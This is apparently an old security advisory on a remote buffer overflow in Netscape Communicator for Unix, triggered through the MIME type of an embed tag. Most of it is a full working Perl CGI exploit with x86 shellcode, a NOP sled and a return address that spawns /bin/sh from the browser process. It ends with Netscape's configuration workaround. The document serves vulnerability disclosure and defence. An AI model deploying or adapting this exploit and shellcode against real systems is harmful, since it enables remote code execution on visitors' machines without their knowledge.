COMMAND

    Netscape

SYSTEMS AFFECTED

    Netscape on unices

PROBLEM

    Mr. Nothing found  following.  Here  is a buffer  overflow exploit
    for Netscape on x86  Linux.  It can  be activated remotely by  the
    following CGI script.  See:

        http://www.shout.net/~nothing/buffer-overflow-1/index.html

    for more information.

    This  buffer  overflow  vulnerability  afflicts  UNIX  versions of
    Communicator up to  4.07 (and probably  4.5 as well).   It can  be
    triggered remotely  without any  action on  the part  of the user.
    The problem occurs  in the generation  of a dialog  message for an
    unknown  plug-in.  The  code  creates  the message using sprintf()
    into  a  1K  buffer,  and  the  MIME  type  for  the  plug-in   is
    interpolated into  the message  without any  overflow checks.  The
    MIME type is specified like so:

        <embed type="mimetype" src="url">

    By putting a return address and executable code into the value  of
    type,  a  hostile  site  can  cause  arbitrary  instructions to be
    executed on your computer.  If you are using Linux on an x86,  the
    exploit  will  transform  your  running  Netscape  process into an
    interactive shell  (/bin/sh).   For some  reason stdout  is muted,
    but you can  send the shell  input in your  xterm, or suspend  the
    process and  verify that  it is  in fact  a shell.   Here is a the
    source code of the exploit:

    #!/usr/bin/perl
    #
    # buffer-overflow-1.cgi -- Dan Brumleve, 1998.10.19

    sub parse {
      join("", map { /^[0-9A-Fa-f]{2}$/ ? pack("c", hex($_)) : "" } @_);
    }

    # This is very tricky business.  Netscape maps unprintable characters
    # (0x80 - 0x90 and probably others) to 0x3f ("?"), so the machine
    # code must be free of these characters.  This makes it impossible
    # to call int 0x80, so I put int 0x40 there and wrote code to
    # shift those bytes left before it gets called.  Also null characters
    # can't be used because of C string conventions.

    # the first paragraph of the following turns the int 0x40 in the second
    # paragraph into int 0x80.  the second paragraph nullifies the SIGALRM
    # handler.

    my $pre = parse qw{
      31 c0                 # xorl %eax,%eax
      66 b8 ff 0f           # movw $0x1056,%ax
      01 c4                 # addl %eax,%esp
      c0 24 24 01           # shlb $1,(%esp)
      29 c4                 # subl %eax,%esp

      31 c0 b0 30
      31 db b3 0e
      31 c9 b1 01
      cd 40
    };

    my $code = $pre . parse qw{
      b0 55                 # movb $0x55,%al (marker)
      eb 58                 # (jump below)

      5e                    # popl %esi

      56                    # pushl %esi
      5b                    # popl %ebx
      43 43 43 43 43 43
      43 43 43 43 43        # addl $0xb,%ebx

      21 33                 # andl %esi,(%ebx)
      09 33                 # orl %esi,(%ebx)

      31 c0                 # xorl %eax,%eax
      66 b8 56 10           # movw $0x1056,%ax
      01 c4                 # addl %eax,%esp
      c0 24 24 01           # shlb $1,(%esp)
      33 c0                 # xorl %eax,%eax
      b0 05                 # movb $5,%al
      01 c4                 # addl %eax,%esp
      c0 24 24 01           # shlb $1,(%esp)
      29 c4                 # subl %eax,%esp
      66 b8 56 10           # movw $0x1056,%ax
      29 c4                 # subl %eax,%esp

      31 d2                 # xorl %edx,%edx
      21 56 07              # andl %edx,0x7(%esi)
      21 56 0f              # andl %edx,0xf(%esi)
      b8 1b 56 34 12        # movl $0x1234561b,%eax
      35 10 56 34 12        # xorl $0x12345610,%eax

      21 d9                 # andl %ebx,%ecx
      09 d9                 # orl %ebx,%ecx

      4b 4b 4b 4b 4b 4b
      4b 4b 4b 4b 4b        # subl $0xb,%ebx

      cd 40                 # int $0x80
      31 c0                 # xorl %eax,%eax
      40                    # incl %eax
      cd 40                 # int $0x80

      e8 a3 ff ff ff        # (call above)
    };

    $code .= "/bin/sh";

    my $transmission = parse qw{
      6f 63 65 61 6e 20 64 65 73 65 72 74 20 69 72 6f 6e # inguz
      20 66 65 72 74 69 6c 69 7a 61 74 69 6f 6e 20 70 68 # inguz
      79 74 6f 70 6c 61 6e 6b 74 6f 6e 20 62 6c 6f 6f 6d # inguz
      20 67 61 74 65 73 20 73 6f 76 65 72 65 69 67 6e 74 # inguz
      79
    };

    my $nop = "\x90"; # this actually gets mapped onto 0x3f, but it doesn't seem
                      # to matter

    my $address = "\x10\xdb\xff\xbf"; # wild guess, intended to be somewhere
                                      # in the chunk of nops.  works on every
                                      # linux box i've tried it on so far.


    my $len = 0x1000 - length($pre);
    my $exploit = ($nop x 1138) . ($address x 3) . ($nop x $len) . $code;
    # the first $address is in the string replaces another
    # pointer in the same function which gets dereferenced
    # after the buffer is overflowed.  there must be a valid
    # address there or it will segfault early.

    print <<EOF;
    Content-type: text/html

    <!-- $transmission -->
    <embed type="$exploit" src="data:x">
    EOF

SOLUTION

    Netscape is working on a  patch.  Netscape posted a  workaround to
    their webpage  that protects  you against  this specific overflow:
    To quote their page, do the following to protect you:

        1. In Communicator, select Preferences from the Edit menu.
        2. In  the  Preferences  dialog  box,  select  the   Navigator
           category.
        3. Select Applications.
        4. On the Description list, select the * entry and handled  by
           Plug-in: Netscape Default.
        5. Click on the Edit button.
        6. Set Handled By to Unknown: PromptUser.
        7. Restart Navigator or Communicator.